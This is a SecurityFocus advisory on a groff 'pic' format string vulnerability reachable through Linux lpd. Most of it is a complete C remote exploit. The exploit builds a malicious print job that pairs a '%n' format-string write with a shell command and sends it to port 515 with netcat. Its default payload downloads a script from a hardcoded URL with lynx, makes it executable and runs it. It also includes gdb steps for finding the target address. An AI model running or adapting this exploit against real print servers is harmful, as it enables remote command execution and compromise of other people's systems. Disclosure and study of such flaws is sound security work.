source: http://www.securityfocus.com/bid/3103/info

lpd is the print spooling daemon. It is used to support network printing on a variety of unix platforms.

The version of lpd that ships with linux systems invokes groff to process documents that are to be printed. The groff utility used to process images, 'pic', contains a vulnerability that can be exploited to execute arbitrary commands on the victim.

It may be possible for remote attackers to exploit this vulnerability through lpd.

#include<stdio.h>
       ///////////////////////////////////////////////////////////////////
      ///      //     //   ///   ////     ////      //      //////______/
     ///  //  // //////  / / /  ///  ////  ////  ////  //////////______/
    ///     ///    ///  // //  ///  ////  ////  ////     ///////    ///
   ///  //  // //////  /////  ///  ////  ////  ////  //////////____///
  ///  //  // //////  /////  ///  ////  ////  ////  /////////////////
 ///  //  //     //  /////  ////     //////  ////      /////////////
///////////////////////////////////////////////////////////////////
     //              \\  -- zen-parse --  \\
    //                \\___________________\\
   //                  \    Remote access    \
  //                    \_____________________\

//               pic format string exploit
//               =========================
// This version -  Sat Jun 23 21:35:31 NZST 2001
// (updated to fix broken link Thu Jul 27 23:45:34 NZST 2001)
//
// pic is part of the groff package. It is used by troff-to-ps.fpi as uid lp
// when perl, troff and LPRng are installed.
//
// The address given is not the exact address, but it works.
// (see /* comments below */ for information on why it's not the exact address)
//
// The offset given is (close enough to) the address for the
// version of /usr/bin/pic from the rpm that comes redhat 7.0
// (groff-1.16-7) The method used to find the offset in your
// version of pic could be something like this :-
/*

bash-2.04$ gdb -q /usr/bin/pic
(no debugging symbols found)...(gdb)
(gdb) break getopt
Breakpoint 1 at 0x8048e94
(gdb) display/i $eip
(gdb) r -S
Starting program: /usr/bin/pic -S
Breakpoint 1 at 0x4014d552: file getopt.c, line 987.

Breakpoint 1, getopt (argc=2, argv=0xbffffa84,
    optstring=0x8060bc9 "T:CDSUtcvnxzpf") at getopt.c:987
987     getopt.c: No such file or directory.
1: x/i $eip  0x4014d552 <getopt+18>:    mov    0x10(%ebp),%ecx
(gdb)
 (
   type nexti a few (mebe a dozen or 2?)  times until you see something like
                movl   $0x1,%ebx
   in which case the next instruction contains safe_address, or
                movl   $0x1,0xsomeaddress
   in which case safe_address is 0xsomeaddress

   IE: It is the the address used by the first instructions
   that assign a value of 1 to an address after the getopt() call.

 )
1: x/i $eip  0x80523c2 <strcpy+37758>:  mov    $0x1,%ebx
(gdb)
0x80523c7       31      in ../sysdeps/generic/strcpy.c
1: x/i $eip  0x80523c7 <strcpy+37763>:  mov    %ebx,0x806feec
(gdb) q

In this case, the address is 0x0806feec, however you may need to aim for
just a little before that, due to what are probably rounding errors in the
conversion between int->float->int, and using the least significant
digits.

This means: You may need to play a little to get it working on your machine.

*/


#define PICURL  "http://crash.ihug.co.nz/~Sneuro/samplelpdscript.sh"
#error "http://mp3.com/cosv needs visiting"
#define SAFER_ADDRESS 0x0806feeb
#define QUEUE "lp"

FILE *pip;
char *payload(char *cmd,int safer);
char *eos(char *s)
{
 return s+strlen(s);
}

output(char *s,char*addr,FILE*pip)
{
 char v[]=
"Aroot@%s+666\n"
"CA\n"
"D2001-06-23-08:59:18.714\n"
"Hclarity.local\n"
"J/tmp/hack-attempt\n"
"Lroot\n"
"Proot\n"
"Qlp\n"
"N/tmp/sh.c\n"
"fdfA666%s\n"
"UdfA666%s\n";

 char nv[1024];

 fprintf(pip,"\x2"QUEUE"\n");
 sprintf(nv,v,addr,addr,addr);
 fprintf(pip,"\x2%d cfA666%s\n",strlen(nv),addr);
 fprintf(pip,"%s",nv);
 fflush(pip);
 putc(0,pip);
 fflush(pip);
 fprintf(pip,"\x3%d dfA666%s\n",strlen(s),addr);
 fprintf(pip,"%s",s);
 fflush(pip);
 putc(0,pip);
 fflush(pip);
}


main(int argc,char *argv[])
{
 int safer=SAFER_ADDRESS;
 char pcmd[1024];
 char *cmd=0;
 char *addr=0;
 char *evil=0;

 if(argc==1)addr="-h";
 if(!addr)addr=(char*)malloc(256);
 if(argc>2)safer=(int)strtoul(argv[2],0,16);
 if(argc>1)addr=argv[1];
 if(argc>3)cmd=argv[3];
 else
 {
  if(!cmd)cmd=(char*)malloc(512);
  strcpy(cmd,
    "export HOME=/tmp;/usr/bin/lynx -dump "PICURL
    ">/tmp/lpd.cmd.$$;chmod +x /tmp/lpd.cmd.$$;/tmp/lpd.cmd.$$");
 }
 if(!*addr)addr=(char*)malloc(256);
 if(!strcmp(addr,"-h"))
 {
  printf("%s ip-address safer-address 'commands in quotes'\n",argv[0]);
  exit(1);
 }
 evil=payload(cmd,safer);
 sprintf(pcmd,"nc %s 515",addr);
 pip=popen(pcmd,"w");
 output(evil,addr,pip);
 if(pclose(pip))
 {
  printf("It might not've worked.\nThe command returned a funny value.\n");
  printf("check you have netcat (nc) in your path.\n");
  exit(1);
 }
}


char *payload(char *cmd,int safer)
{
 char *retstr;
 char *tmp;
 retstr=(char*)malloc(4096);
 sprintf(retstr,".PS\n");

        //  %f is 8 bytes long the two values are  \\
       //  needed. the value was just the first one \\
      // that I had in there... it it ain't broke... \\

 tmp=eos(retstr);
 sprintf(tmp,"plot %5.20f \"%%n\"\n",safer,0xbffffa08);
 tmp=eos(retstr);
 sprintf(tmp,"sh X%sX\n",cmd);
 tmp=eos(retstr);
 sprintf(tmp,".PE\n");
 tmp=eos(retstr);
 sprintf(tmp,"This is the way we hack the printer,\n");
 tmp=eos(retstr);
 sprintf(tmp,"Hack the printer, hack the printer.\n");
 tmp=eos(retstr);
 sprintf(tmp,"This is the way we hack the printer,\n");
 tmp=eos(retstr);
 sprintf(tmp,"when they are running a vulnerable version\n");
 tmp=eos(retstr);
 sprintf(tmp,"of groff.\n");
 tmp=eos(retstr);
 return retstr;
}
